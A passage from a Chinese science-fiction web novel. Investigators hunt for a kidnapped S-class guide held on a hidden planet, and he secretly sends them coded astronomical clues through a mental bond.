而现在也的确如他所愿，凡纳家完好无损地藏身在背后，只有他陆家的出手被抓到了小辫子！现在所有人都以为这一系列的投毒、绑架、背刺事件都是陆家干的！ “该死！”陆明远越想越明白过来，心下一阵冰凉。 他猛地顿住脚步，愤恨地一挥手臂，将书桌上所有东西全部扫落地面，发出一阵“噼里啪啦”的碎裂声。 昂贵的显像屏与玲珑精巧的玻璃摆件被摔得粉碎，满地的碎片，映照出陆明远溢满愤怒的脸庞，显得格外扭曲。 代表缩了缩脖子，噤若寒蝉。 陆明远呼哧呼哧地喘着粗气，面色变化不休。 片刻后，他猛地闭了闭眼，强迫自己冷静下来。 没有时间为过去的事后悔了，他必须立即行动，及时止损。这次的账，他可以以后再跟伊莱慢慢算。当务之急，他不能让陆家继续被裹挟在这些丑闻里。 切割，他必须要立刻将陆家与这些事件切割开来！ 强烈的危机感让他沸腾的情绪重新冷静下来，怒火压下后，立刻恢复了以往的决断。 他迅速调出终端界面，向着几个手下的暗线拨出通讯。 “立刻启动‘清扫’程序。目标，林莫与金浩载两人与陆家所有的交易、往来记录。所有实质性的证据，全部给我彻底清除掉，不能留下任何痕迹。” “对，所有！还有，之前经手过‘遗迹任务’，在布瑞克家那边留下的钉子，全部都撤回来，撤不回来的……给我处理干净。” “还有，在枢纽站那边搞点动静出来，或者在凡纳家那边留下点东西，把调查组的目光吸引过去……对，必要的时候，准许动用A级以下储备。务必要把陆家从这桩丑闻里摘出去！” 陆明远将一条条指令发布出去，心下滴血。 这一次，陆家可以说是损失惨重。 不仅在布瑞克那边辛苦布置的暗线毁于一旦，现在，还不知要再花费多少代价，才能把陆家彻底清洗干净。 还有老三…… 陆明远眼中闪烁。 时间紧迫，他现在顾不上去处理陆厌离的事，等之后再去安抚他吧。 很快，虽未公开，但调查组开始严查陆家，与陆厌离公开与陆明远决裂的声明，便在联盟内部传扬开来。 许多以往交好的家族，开始与陆家切割，这样的局势，马上对刚刚遭遇打击的陆家内部再次造成了巨大影响。 这一次，原本就对陆明远近期的一系列决策不满，或早已被陆承暗中拉拢过来的族老们，纷纷躁动起来，要求召开家族会议。流言与恐慌在家族内部蔓延，质疑陆明远，担心家族彻底被拖入这一系列丑闻的声音越来越大。 当此时机，陆承马上回到中央星，不再隐于陆明远手下，开始频繁出入各位手握实权的家族耆老府邸。将陆明远与伊莱的协议，他愚蠢地踏入陷阱，导致家族如今面临巨大威胁的行径一一陈说。 很快，由几位实权族老联名提议的紧急家族会议被提上日程，会议核心正是近期这起引动联盟的向导绑架案，以及陆厌离任务被刺事件。众人要求陆明远马上解决此次重大危机，否则要求他为此次危机负责，引咎退位。 陆明远一时之间，焦头烂额。 他一面要应对联盟接踵而至的调查组质询，派人快速清理掉所有可疑的痕迹与证据；另一方面，又要应对来自家族内部汹涌的质疑与逼宫。在这样内外交加的危机下，再也无暇他顾。 陆厌离也出席了几次紧急说明会，要求他陈述自己被困前后的所有疑点。 他原本没兴趣、也没时间在这种时候参与家族的内部事务。但因为提前答应过陆承，他应约参与了几次最重要的说明会，在讲述了自己与陆明远前后产生的几次矛盾之后，坚决地表达了自己从今往后与陆明远分割决裂的决心，公开表态支持陆承。 有了陆厌离的支持，陆承正在争取的几位族老也纷纷改变立场，家族内部的形势渐渐明朗。 参与过几次内部会议，并且正式表态过后，陆厌离便不再关心这些家族复杂的权力斗争，彻底从这场风起云涌的内斗中抽身出来。 他将所有的精力都投入了与联盟联合调查团的合作中。 在他参与调查之后，立刻第一时间将自己最大的怀疑目标——伊莱·凡纳上报予最高调查官。但是，虽然有了最可能的怀疑对象，他们始终没有拿到关键性证据，无法正式立案搜查。最重要的是，他们仍未找到关于江寻的任何踪迹线索。 这样的状况，再次使调查行动陷入焦灼。最终起到的效果，只是将所有凡纳家族与其附庸、姻亲家族排除在调查行动之外。众人仍然在想方设法寻找具体的实质性证据。 联合指挥中心中，巨大的星图悬浮在半空中，一片代表着行星的绿色光点中，将近一小半都闪烁着黄色的光芒。 最高联合指挥官站在星图前暗暗叹了一口气，再回头时，眼神锐利中带着锋芒： “凡纳家族名下的产业虽众，但并非所有都是伊莱能够染指。我们先把调查重点放在他名下的星球与产业上，再加上部分与他捆绑严重的盟友势力范围。”指挥官转身，双手撑在桌面上，看向在座诸人，“这是一个大工程，但我们必须要快，如今联盟所有人的目光都聚焦在这件事上，我们不能在这个时候让‘寻道者’出事。” 首座坐着的一位神色冷峻的军方上将点了点头，补充道：“此事若真是凡纳的手笔，相关的证据、证人一定埋得很深，他大概率已经处理过一遍证据。调查时，必须要注意所有细枝末节。” 另一边坐着的一位塔负责人，也同样补充道：“同时，也不能放松其他方向的调查，凡纳家族如今只是最有可能的嫌疑对象，我们不能因为先入为主的观念去强行给对方定罪。这次事件影响力已经十分巨大，我们决不能犯错。” 陆厌离深吸一口气，压下心中随着时间流逝升腾而起的担忧。 每过一天、一个小时，江寻的风险都在增加。同时，他也在担心着，若是将伊莱逼入绝境，他会不会直接对江寻不利。 比起江寻被他人绑定的危机，这才是最令他担忧的地方。 “还有，在枢纽站公共安全事件出现之前，中央星也曾出现过一次毒素泄露事件。两种作为源头的病毒高度相似，这也是一个突破口。”陆厌离再次提出一个调查方向，“当时的事件在重重压力下仓促结案，并没有找到病毒来源。但通过此次事件可以看出，凶手手中必然掌握着一个高度先进的生物科研实验室。也许我们可以从之前在中央星发生的那次事件中，找出一些尚未被处理掉的线索。” 众人听罢，纷纷点头赞同。 指挥官环视一圈，“好，既然大家都有方向了，那我就不必多说了。只有一点你们必须记住，这次的绑架事件，影响深远。为了联盟如今与未来不可预测的长远利益，所有人务必拿出自己最大的努力调查此事。我们必须要将“寻道者”平平安安地找回来，任何企图阻碍联盟的人与势力，都必将得到应有的惩罚。” * 另一头，伊莱在江寻第一次醒来时见了他一面之后，便不知所踪，独留江寻一人在这座豪华庄园里。 江寻安分在这里呆了两天，还是未见到伊莱的人影，心中便有了些其他打算。 清晨，一边吃着被准时送来的早餐，江寻一边试探性地看向随侍在一旁的管家劳伦斯：“今天我想在这座庄园里走走。” 劳伦斯微微躬身，并不因江寻此番受制于人而显露出丝毫不敬：“当然可以，江寻先生。大少爷吩咐过，您可以在庄园范围内自由活动，享有最高优先级。” 他顿了顿，又补充一句，语气依旧温和，但内容却不容置疑：“只是，请您不要为难我们，离开庄园的界限。” 江寻有所预料，点了点头，没再多说。 快速解决完早餐，他第一次踏出居住的这座主楼，沿着建筑精美的楼梯走廊，在劳伦斯的陪同下，踏入了庄园内部。 天边的恒星刚刚升起，蒙蒙的橙色晨光，将园中精心修剪的花圃，潺潺流水的喷泉，以及周围的一圈偏房楼阁，照耀得温暖明亮。 庄园的确修得雅致，步步都是风景。可江寻看着总觉得缺了些人气。 他抬头往廊下看去，不远处有一位抱着篮子的仆从匆匆而过。他身上穿着的制服干净规整，即使身边没有其他人，仍旧低低垂着头，步伐快速而无声无息。每一步的距离像是用尺子量过，一句话没说，一个眼神也没流露出来，浑身却透着股无形的死寂。与这座被精心构筑起来的庄园相得益彰。 江寻的视线随着他移动，看着他走到一条小路上，又一路顺着小路走至尽头。 江寻循着他的脚步跟上去，走到庄园边缘的栅栏时，在劳伦斯的目光中停下脚步。手搭栅栏向外望去。 映入眼帘的，没有其他建筑的轮廓，而是一派新式农场的模样。 规划整齐的农田横平竖直地分块种植着各种不同的作物，更远处似乎还有成片的果林鱼塘。农田果园之间，几个模糊的小点移动在其间，看模样像是某种自动化机械。 另一边似乎是一个小型养殖场，能听到些许动物的嘶鸣声隔着大棚传过来。更远处，一条汩汩流淌的窄河绕着养殖场而过，流向远方。 江寻在脑子里大致估算一下面前这些农田的产出，心缓缓沉了下去。 有着这样成规模，又门类齐全的农业布局，这座庄园，完全能实现自给自足。这也就是说，它根本不需要与外界产生任何常规的物资交换。即使完全把这里封闭住，它也能够靠着自身的产能长久地维持下去。 换句话说，外界无法凭物资往来找到这里。 伊莱一开始把自己软禁在这里，就没打算放他离开。他已经做好了长期把他囚禁起来的打算。 江寻在这里停留了片刻，目光在栅栏边巡逻的守卫身上转了片刻，在对方戒备之前，不动声色地转身，继续沿着小路漫步走去。 又将目光放在沿途经过的每一个仆从身上，特别注意了他们的手腕衣兜。 观察片刻后，叹息着发现一个事实。 这里的每一个人，包括守卫与始终跟在身后，态度恭顺的管家劳伦斯，身上都没有戴个人终端。 在这个时代里，个人终端比地球上的手机用途更加广泛，几乎是每个人从出生到死亡都会随身佩戴的东西。这种情况，几乎只有两种可能…… 一种是，他们的终端都集成为生物芯片，直接植入了身体之中，无法直接通过观测发现。另一种可能就是，这里根本不需要，或者说，不允许与外界联系。 结合伊莱放心把自己安排在这里的行为，江寻几乎立刻确定，答案是第二个选项。 就这样带着劳伦斯漫游一圈，将周围的布局与庄园中的人手打量一遍，江寻安静地重新回到了主楼之中。 当劳伦斯礼貌告辞退出房间之后，江寻终于长舒一口气，坐了下来。 经过今天的一番探查，他对自己如今的处境已经有了一个比较清晰的推断。 他此时可能正身处于伊莱名下，亦或被他藏起来未登记的某个私人星球上。这里的一切都能自我供给，没有对外联络渠道，没有往来舰艇，处于茫茫宇宙中，便如一座与世隔绝的牢笼。即使他离开这座庄园，恐怕也毫无办法离开这颗星球。 这里，是伊莱为他精心构建的一座华丽鸟笼。 这个认知，令江寻的心情陡然沉重下来。 看样子伊莱对此地的隐蔽性十分有信心。他恐怕自己的猜测又要成真——此处可能根本就不在联盟星图上面，以凡纳家的权势力量，在偏僻的不知名角落里，隐藏下一颗不起眼的宜居星，易如反掌。 这也就意味着，除非伊莱主动放任，否则，在浩瀚的宇宙星空里，要等着外界发现问题，找到这里，无异于大海捞针。 看来，伊莱这一次已经下定了决心，除非自己向他屈服，完成与他的绑定，否则，他恐怕不会给自己任何逃脱的机会。 江寻闭上眼深吸一口气。用晨间微凉的空气，让自己翻腾的心绪平复下来。 他还有希望。 那是伊莱，乃至整个联盟里，恐怕都无人知晓的底牌。一个几乎不可能被封禁掉的特殊联系——他与陆厌离之间，那道尚未完成的刻印。 通过那扇“门”，他可以无视距离的限制，与陆厌离建立起联系。虽然这个刻印技能并不完整，每次启动都需要消耗大量精神力，并且是单向的，无法向陆厌离传递出详细信息。 但是他是可以通过“印痕”，向陆厌离传递精神力的。就算只有这一个并不清晰明确的途径，但只要能穿透伊莱的封锁，向外界传递出些许信号，江寻就有信心，利用这一点，为陆厌离送去足够的关键信息，帮助他在茫茫宇宙中找到自己。 不过，要做到这一点，江寻尚且需要做许多准备工作。 最起码，他要搜集到足够的线索，可以帮助陆厌离确定自己位置的线索。 心中既定，江寻重新睁开的眼睛里，已经充满了斗志。 * 下午，似乎是处理好了什么事情，伊莱再次心情愉悦地出现在了庄园里。 与上次的循循规劝不同，似乎是收到消息，知道江寻在这两天里都非常乖顺，觉得他已经明白了自己的处境。 伊莱对待江寻的态度，显得直接了许多。从眼神和言语中，都透出一股理所当然的强硬来，似乎是笃定自己终将会得到自己想要的结果。 “这几天过得还习惯吗？”伊莱撑着手肘坐在江寻对面的沙发上，“有什么需要的东西，可以告诉劳伦斯去为你准备。当然，我知道你这么聪明，应该知道什么该要，什么不该要吧？” “伊莱阁下，您这是犯罪！联盟宪法上有规定，不得强制限制公民的人身自由，更不得强制对哨兵向导进行绑定。”江寻皱起眉头，语气带着些冷硬看向伊莱。 “呵，江寻阁下，你实在不用拿这种话来试探我。”伊莱轻轻一笑，“你应该知道，我并不会因为这种冠冕堂皇的话而动摇。” 江寻盯着伊莱的双眼，在他始终如一的目光中，面色渐渐平静下来，又恢复了平日里的古井无波。 “伊莱阁下，我想我们实在不必闹到这种程度不是吗？”这一次，是江寻先开口，“我们完全可以达成更加融洽的合作关系，作为一名愈灵殿的医护工作者，如果您有什么需要，我都是会在能力范围内尽力为您提供帮助的。” “但是，这种帮助，不包括通过身体结合达成的深层链接，不是吗？”伊莱看着江寻沉下的面容，了然一笑，“江寻，你就不用给我兜圈子了。只是疏导治疗的话，我何必费这么大工夫把你带来这里呢？我要的是你的全力帮助，要的是能够从根本上提升能力的可能。你知道我的目的，不是吗？” 江寻沉默下来，似乎是被伊莱说中了心思。 “这种粗浅的试探，以后就不用再对我说了。”伊莱闲适地看了看窗外，再次回头时，笑意已经完全消失，“你应该知道，像我这样的人，是不会被些许言语打动的。我希望下次过来的时候，你能给我想要的答复。” 一句话说完，伊莱没有丝毫留恋，站起身来就向着门外走去。 江寻适时跟着起身，眉目间是无可奈何的烦闷，犹豫了片刻，在伊莱跨出大门之前再次开了口：“伊莱阁下，既然您不打算在短时间内放我离开的话，那可否给我一些课本或者书籍，让我能继续学业？” 伊莱闻言停下脚步，回过头来挑眉审视地看了他片刻。最终，对着劳伦斯点了点头，随即，不再停留，大跨步地离开了庄园。 江寻站在宽大的落地窗前，看着远处飞驰而去的那唯一一艘穿梭舰，面上刚才还显露出来的些许无奈与憋闷，彻底消失。 第239章 第二天一早， 劳伦斯管家果然带来了几本不同的圣所教材。甚至贴心地为他准备了一叠笔记本与墨水笔。 江寻了然地看着面前这些东西，果然，都是实体书， 没有电子阅读器，也没有任何电子设备。 没有多说什么，江寻拿起几本书查看一番，再次发现， 这些书籍就是他这学期正在上的课。其中甚至还有几本， 是他在图书馆中寻来扩展阅读的。 对方在敲打我。江寻心中立刻浮现出这个念头。 “多谢。”江寻没有露出丝毫异样， 接过书籍和纸笔，对着劳伦斯道了谢。 从这天起， 江寻在庄园中的生活，又多了一项固定的内容。 在例行的散步与观察之余，其他闲暇时间， 大部分都被他用在了这些教材上。 他有时待在房间里， 有时坐在花圃间的室外小几上，一边安静地翻阅着教材，一边用墨水笔在纸上写写画画， 间或调动起精神力模拟操作一番。 开始的时候， 他的行动总会引来包括劳伦斯在内的众多仆从不着痕迹地打量。一段时间之后， 打量的目光就渐渐变少。 他的行为模式几乎固定， 每次阅读起来都十分专注， 学习完转身就走， 毫无异样。仿佛已经习惯了这样的软禁生活。 江寻有时会发现自己写过东西的纸张被人碰过， 他也丝毫不以为意。 又过几天，停驻在他身上的视线显著变少。到最后，便只剩下了劳伦斯一人。 在这段时间里， 伊莱的行踪也变得难以捉摸。 有时他会连续一两天都待在庄园里，与江寻共进餐点，随意闲聊，甚至有意无意地与他亲近接触，直到江寻表露出明显的反感时才罢手。 有时，又会突然离开，一连消失数日，杳无音讯。 江寻对他的这番表现丝毫不在意，除非对方真的准备越界。 他的生活就像从前在中央星一样规律。每天在相似的时间起床，绕着庄园漫步一圈活动身体，然后用餐、学习，偶尔在学习间隙调动起精神力做一些模拟训练，甚至具现化出触手，帮自己拿拿东西，构建模型。 不像是被软禁在这里，倒像是他原本就这样生活。 在周围所有人都慢慢放下警惕心的时候，江寻也试探出了他想要确认的情报： 或许是出于对他S级向导能力的忌惮，担心有哨兵因他的能力被他影响或策反，伊莱在这座庄园里安排的所有仆从与守卫，包括劳伦斯在内，全部都是没有向哨天赋与精神力的普通人。 这也就意味着，只要他没有主动将精神力具现化出来，或是大规模外放精神力，形成明显的力场威压，这些普通人根本无法察觉他是否在使用精神力。 这个信息让他心中一定，这对他来说实在是个好消息。 这也就是说，只要伊莱不在庄园里，他发动刻印技能时，被发现的风险将会大大降低。 他没有急着联系陆厌离，也没有将这份喜悦表现出来，依然维持着表面的平静，每日重复着一样的生活节奏。 他见到过伊莱与劳伦斯避开他的眼睛低声交谈。看样子，是在询问他最近的行为状态。 之后，似乎是对他的表现非常满意，对待他的态度也渐渐放松了些，即使他经常对过于亲近的靠近表达出不悦，也没有强硬地勉强。 江寻能看得出，自己的表现似乎让他相信自己已经认命了。只需要这样温水煮青蛙地养着他，就能让他慢慢转变想法，自愿投入他的麾下。 而这，正是江寻想要达成的目的。 事实上，在一个个静默的日子里，江寻从未停止过行动。 在每一个看似认真学习的时间里，他都一直在悄然观察收集着一切他能想到的，能定位到这个星球的信息。 书房中，笔尖不断传出书写的沙沙声，一个经典的精神体构建模型结构，在纸面上一点点诞生。但江寻心中，却转悠着与他写出的东西毫无干系的其他信息。 这里的“太阳”是橙色的，体感温度不太高，光照强度也比中央星弱……这颗行星所属星系的恒星是一颗橙矮星……晚上没看到月亮……没有卫星。 存在正常的昼夜交替，从观察到的直观表现来看，这里的“太阳”比较小……这颗星球没有被潮汐锁定，而且这颗行星离恒星比较远……又或者是曾经遭遇过撞击？ 一个昼夜周期，体感只有十到十二个小时左右，比中央星自转速度要快得多……这颗星球直径比中央星小得多。 体感重力……似乎比中央星重一些。 体积这么小，重力还比中央星大，这颗星球密度很大……是富矿星球？ 虽然体感这里的整体温度不太高，但昼夜温差不大……是因为我所处位置还是因为……大气层比较厚？ 江寻抬头看一眼天空的浮云。 好像一直没怎么见过蓝天，应该是大气层比较厚。 江寻一边梳理着观察到的信息，一边推论着。 想着想着，叹了口气。 这些信息都是星球在星系内的定位信息，但是没法定位到这个星系在宇宙中的位置。 嗯……还是要找出一些规律性位移的星辰，有这些特定的星辰定位，联盟中有经验的天文学家应该能凭着这些信息，找出这个星系在宇宙中的位置。 不过要记录星辰位移位置的话，时间可能就要长一些了…… 江寻暗自叹息。 只希望伊莱的耐心足够让自己坚持到那个时候。 他的笔尖短暂地停顿了片刻，似乎只是遇到了某个需要思考的难题。 待在心中将今天观测到的星辰位置记忆下来之后，笔尖这才重新动了起来。 谁也不知道，一条又一条逃脱的希望，被江寻在心中清清楚楚地记录下来。 * 一晃，几天时间匆匆而过。 这天，伊莱正坐在江寻身边，与他一起用餐，腕间的终端忽然传来一阵呼叫音。 江寻的目光刚刚撇过去，就见他一个转身，只给候在身后的劳伦斯使了个眼色，便转身匆匆而去。 还没走出房门，脸色就已经难看了下来。 不一会儿，江寻就从窗外看到了疾驰而走的穿梭舰。 “江寻阁下，请见谅，大少爷临时有些急事需要回去处理。” 劳伦斯的解释拉回了江寻的目光。他没说什么，对着劳伦斯笑了笑，便继续吃起饭来。 谁知这一次，伊莱一走便离开了整整三天。 当他再次出现在江寻面前时，江寻敏锐地发现了他身上风尘仆仆的痕迹。 此时的男人似乎是遇到了什么难题，向来从容的神情里，藏着一抹掩盖不住的阴郁。 他好像没有什么心情和江寻相处，只是确认一般来看看他。看到江寻的状态一如既往，便似是松了一口气，没坐多久又借故离开了。 江寻看着他匆匆而来又匆匆而去的背影，看着他眉宇间极力掩饰的焦躁感，心中有了些许猜测。 “是我失踪的事，终于闹大了吗？”江寻眼中闪过思索。 他平日里虽然并未因为S级向导的身份自傲过，但也从不妄自菲薄。全联盟一共只有三位S级向导，他不相信他一个S级“寻道者”莫名失踪，会被轻易掩盖下去。 更何况，按时间来算，陆厌离这次的外勤任务也应该做完了。就算别人不找他，等陆厌离发现自己被绑架，也一定会发动所有力量去寻他的。 江寻虽然没有问过，但这段时间以来，也把自己被绑架的前因后果捋过一遍。这一环扣一环的事件，恐怕都是出自伊莱的手笔。 从客运舰投毒，到枢纽站引发暴乱，再到后面星盗团来袭，自己被掳走。这一系列的事件做下来，牵涉不可谓不大。 越复杂的计划，留下的痕迹必然也越多，江寻不相信伊莱能把所有的手尾都处理得干干净净。 他这几天的状态，就足以说明，伊莱此刻面临的压力，恐怕不会小。 如果局势真如他所料般发展，对他来说自然是好事。这意味着他获救的希望增大了。 但同时，也意味着他恐怕会面临更加危险的境地。 以伊莱的性格，他现在还能对自己和颜悦色，完全是因为局势尚在他掌控之中。如果哪一天，他真的落到了劣势，困兽犹斗之下，江寻也不知道他会做些什么。 危险的警钟长鸣于心，从这一天开始，江寻略微调整了对待伊莱的策略。 面对对方的亲近，他不再流露出明确的拒绝，只表现出一种不习惯的生疏来婉拒。说话也更加小心，只与对方谈论绝对安全的话题。同时，适当的表达出一种近似朋友般的亲近氛围来。只要伊莱不做出实质性的逾越举动，他都尽量让自己自然地对待，以维持着这份表面上的平和稳定。 而这一招，面对向来自信的伊莱，果然有效。 他态度上的软化，果然让伊莱看到了希望，很好地安抚了他的情绪。不过，这样的变化，也令他对待江寻的态度更加亲近热络起来，甚至让江寻明显感觉到了他隐藏起来的那股急切心情。 江寻佯作不知，不动声色地应对着，心中的危机感却越来越强。伊莱如今的迫切态度，正说明外界对他造成的压力正在增强，留给江寻的时间，恐怕不多了。 他得尽快找到一个万无一失的机会，将自己搜集到的这份信息，传递给陆厌离。 * 夜幕降临，伊莱在陪江寻用完一顿气氛还算融洽的晚餐后，又接到了通讯。 “抱歉，我要先走了。”伊莱一边道歉，一边凑近到江寻面前。 江寻顿了一下，微微侧头，但是没有后退。 伊莱为这个改变笑了笑，“最近我比较忙，你若是想找我，尽管交代给劳伦斯，他会通知我的。” 一句话说完，便匆匆离去。 江寻站在窗边，看着不远处那道在夜色下燃起的幽蓝尾焰，如同流星般划破夜幕，迅速消失在远方。 “江寻少爷，您不必担忧，大少爷很快就会回来的。”劳伦斯轻轻上前一步，宽慰道。 江寻看向劳伦斯，点了点头。 “撤下去吧，我要睡觉了，你也去休息吧。”江寻从餐桌旁离开，径直去了盥洗室，听着背后鱼贯而入的脚步声，在一阵忙碌过后，渐渐沉寂下去。 换上柔软的睡衣，调暗地灯，他如同每一个寻常的夜晚一样安静躺上床。余光看着窗外的灯光渐次熄灭，门外的脚步声、呼吸声缓缓消失。最终，万籁俱寂，只剩下一点点回荡在走廊里的巡逻脚步声。 江寻闭上眼睛，呼吸悠长而平稳，仿佛已经沉入梦乡。 可他的精神力却如同无形的水波般，缓慢地向着房间外面弥漫过去。意识集中起来，凭借一层稀薄的感应力，“看”向他的房间周围。 守在门边的侍人轻轻打了个哈欠，衣料摩擦着发出一点点细微的响动。走到楼梯边的巡逻卫兵向着走廊尽头看了一眼，扭转头颅时，盔甲摩擦，发出一点金铁交击声。 直到确定庄园中仍醒着的寥寥数人都照着平日里的模式行动，对自己漫出的精神力毫无反应，他这才缓缓将发散出去的精神力收了回来。 时机差不多了。 江寻将全部意识沉入精神世界深处，“看”向始终伴在他身边的那道“门”。无形的门扉因为精神力的流过，微微震颤着，像是在提醒着主人自己的存在。 他将自身的精神力缠上门扉，一点一点平缓地向“门”里传输精神力。 起初，门扉依旧沉寂安宁，好像一个无底的空洞一般，对江寻传输过去的精神力毫无反应。 江寻没有着急，只是再次搅动体内的精神海，持续而稳定地继续输出。感受着与“门”对面的那道冥冥中的联系，在精神力的滋养下逐渐变得清晰而稳固。 “门”缝里，好像渐渐亮了起来，越来越强烈的存在感升起，门扉晃动。 不知过了多久，精神力的输入突然一顿，仿佛突破了某个临界点，那扇“门”终于颤动着，被悄然撬开一道缝隙。 一股强大的吸力传来。 江寻没有抵抗，任由自己的意识顺着那道敞开的缝隙滑了进去，沿着那条无形的精神通道，飞速奔向遥远的另一端。 短暂的眩晕与黑暗过后，眼前骤然一亮。 * 陆厌离拖着疲惫的步伐向着湖畔区的方向走去。 又是一天毫无进展的调查搜索。 尽管他们猜到动手的人是伊莱，也有许多巧合指向了凡纳家族，可所有的证据要不似是而非，不具备有效性。要不就是被受害者本人否认。 在凡纳家无孔不入的权势影响下，他们不仅找不到直接的证据，连已经取得的证据和证人，也在不停地失去效力。 关于江寻的行踪，更是毫无线索，这么久的调查下来，一切却似乎仍是徒劳。 沉沉叹了口气，虽然在调查之初，陆厌离就知道这一次一定会非常艰难。但如今的状况，还是令他焦躁不已。 今天，甚至连调查组内部都开始出现微词，有人开始主张，这件事就是陆家做的，陆厌离是为了转移视线把陆家从这起丑闻中摘出去，才一直追着凡纳家不放。 虽然这番推论最后因为毫无证据而且动机不成立，被调查官们一致摒弃。但仍能说明如今的状况。 如果他们的调查还不能得到有力进展，时间长了，恐怕这次的事件，会被拖入更加混乱的漩涡里。 一路思考着，走到大门前。 开门时，陆厌离不经意抬头，看到了屋檐下，在夜风中微微晃动着的大红色灯笼，心中顿觉一阵酸涩。 如今灯笼还在，陪着他一起制作出这两盏灯笼的人，却杳无音讯了。 陆厌离呆立夜风中，看了它们良久，眉目间浮起担忧与失落。 正要推门而入，忽然，后腰处一热。 一小片皮肤忽然毫无预兆地灼热起来。 下一刻，一道熟悉到刻骨铭心的精神力，从那一小块皮肤上探出来，像是猫咪挥动肉垫一般，轻轻触碰，飞快融入他的身体。 嗯？！ 陆厌离身体猛得僵住，手上的钥匙“叮铃”一声滚落地面。 碧绿瞳孔骤然一缩，一道难以置信的声音，脱口而出：“江寻？！” 仿佛是为了回应他的问题，他的话音刚落，又有一小股温和的精神力，从后腰上漫溢而出。 巨大的喜悦如同烟花在脑海中炸开，陆厌离的目光下意识地朝着周围看去，惶急地寻找了一圈，才反应过来，江寻不可能在这里，这是通过那道不完整的刻印建立起的联系。 一念及此，一副场景忽然划过脑海。他忽然想起之前在前往M28星域时，在任务舰船上发生的事。 一个念头闪电般浮上心头，他恍然地追问：“你是不是能看到我？” 话音刚落，果然，第三股精神力立刻涌入，仿佛在肯定他的猜测。 陆厌离精神一振，正要接着追问，忽然又想起了什么，眼睛警惕地快速在四周逡巡一圈之后，立刻捡起地上的钥匙，开门而入。 脚步急切地冲进房间，连鞋子都顾不上脱，就开始急切地发问，语速快得几乎连成一片： “你现在人在哪里？安全吗？有没有受伤？” “是不是伊莱把你带走的？” “他有没有强迫你虐待你？” 长久的失踪与焦虑，令陆厌离的情绪压抑到了极点，此时突逢江寻的讯息，这种情绪立刻无法控制地一股脑爆发出来。 他的眼眸闪烁着急切与希冀的光芒，目光在虚空中来回扫视着，仿佛这样就能找出那个此刻与他精神紧密相连的人。 可这一次，对面却一下子沉寂下来，半天都没有任何回应传来。 陆厌离猛地反应过来，冷静下来一些。想了想，才重新提问：“你现在安全吗？”问了这一句，就停了下来，屏息凝神地紧张等待着另一端的回应。 果然，当他慢下来之后，一小股精神力再次涌入。 陆厌离精神一振，再次追问：“是伊莱把你带走的吗？” 确认的精神力再临。 陆厌离心下急转，“我们现在找不到你，你知道自己的位置吗？你是不是有什么信息要传达给我？” 这一次传来的精神力，却与之前不同。 一股精神力平稳地流入，持续了一秒，继而中断。之后，又一股精神力乍触而走。 陆厌离脑中迷茫片刻，猛然醒悟过来，“第一个问题的答案是否定，第二个问题的答案是肯定？” 这一次，又是一次短暂的接触。 陆厌离脑中一瞬清明，他立刻奔入书房，一边取出纸笔，一边再次追问：“你有信息要告诉我，使用的是某种密文？” 确认的精神力再来。 “你说，我马上记录下来！”陆厌离紧紧捏住手中笔杆，全部心神都集中在后腰传输过来的精神力上。 果然，在他这句话说完后，从后腰处传来一阵断断续续的精神力，持续时间有短有长，强度有强有弱。 陆厌离不敢分神，将所有的变化全部记录下来。 整个传输的过程很长，全部传输完成后，精神力的输出一缓，仿佛是对面的人累了，正在休息。 而后，传输再临。 这一次，却是重复了一遍刚才的讯息。 并且，在几处地方，反复重复了几次。 陆厌离丝毫不敢放松，跟着这模糊的传输，再次核对了一遍记录下来的密文。然后，将对方重复几次的地方，重重圈了起来。 待第二轮结束，传输过来的精神力已经开始变得稀薄。 陆厌离仍然紧紧攥着笔尖，等待着对面的人再次给他留下什么讯息。 可一段长久的停顿之后，后腰处再次传输进来的精神力却变得平缓又绵绵不绝。 如一道暖流，一点点浸透陆厌离全身经络血脉，让他这段时间以来因为频繁消耗而有些枯竭的精神海，再次充盈起来。 “江寻……”紧捏在手中的墨水笔滑落下来，陆厌离反手抚上此刻一片灼热的后腰，指尖一点一点在那半片羽翼印痕上摩挲而过，“我好想你……” 第240章 精神海渐渐平息下来， 经脉中流淌的精神力开始变得稀薄，江寻估量着体内精神力的存量，轻叹一声， 在不舍中断开了与陆厌离的连接，主动结束了这一次“附身”。 他们之间的刻印技能尚未补完，维持技能所需消耗的精神力太大了，他如今又在伊莱的地盘上， 他必须保留足够的精神力， 维持表面的正常表现。否则， 一旦出现精神力匮乏的症状，一定会引起伊莱的怀疑。 现在， 最重要的信息已经传送给了陆厌离，联盟的天文机构与导航专家众多，他相信凭借着这些具体的天文观测数据与这个星球的环境表现， 对方一定能找到自己如今的所在地。 不过， 他也清晰地知道，联盟的疆域辽阔广袤，他如今给出的数据又都是凭借肉眼观测出来的， 自己也没有专业的天文学知识， 其中可能会存在很大的误差。 即使有了这些信息资料， 要准确地找出这颗星球， 恐怕也要经过大量的数据对比与实地调查。 更不用说， 伊莱若是得知了联盟的动向， 一定会在这个过程中百般阻挠。 离真正的曙光到来， 恐怕还需要一定的时间。 江寻深呼吸一口气，缓缓收回剩余的精神力，调整着呼吸， 缓和精神力大量消耗带来的透支感。 他现在能做的，就是等待救援。并在这段时间里，更加小心谨慎地与伊莱周旋，决不能让他察觉到任何异样，保护好自己，不能倒在成功之前。 * 从江寻那里得到的情报，几乎让陆厌离彻夜未眠。 第二天，天还没亮，他便带着记录下的密文直奔军部情报科。 如今非战时，情报科的工作人员直到早上九点才陆陆续续向着科室走来。 两个上班时恰好在楼下相遇的同僚，原本正说说笑笑着踏上楼层。刚一步入走廊，却被科室门口靠着的那个表情急迫的男人吓了一跳。待认出来人是军部有名的陆厌离少将之后，心中更是一阵紧张。 两人对视一眼，能劳动陆少将亲自前来的，不可能是小事。立刻，最近几天看过的各星域情报就纷纷滑过脑海，两人下意识紧张起来，是哪里又爆发战争了？ 忙不迭地走到近前，行礼开门，将陆厌离迎了进去，两人这才开始询问陆厌离的来意。 “破译密文？”威廉姆与同僚对视一眼。 “是的，”陆厌离没有轻易将手上的密文递过去，审视地看向两位工作人员，谨慎道：“这份密文十分紧急，并且关系重大，我需要一位经验丰富的密码破译专家，并且需要签署保密协议，现在情报科有哪位专家在值？” 威廉姆有些犹豫又有些跃跃欲试地看向陆厌离，片刻后，像是终于下定了决心：“陆少将，我的专业就是密码破译。如果这是军部下派的正式任务的话……我愿意签订保密协议。” 陆厌离点了点头，“这次的任务，不属于军部下派……” 一听这话，威廉姆眼中顿时流露出失望，可刚刚黯淡下去的眼眸，又在陆厌离的下一句话说出后，骤然绽出精光。 “……这是联合调查组的任务。” 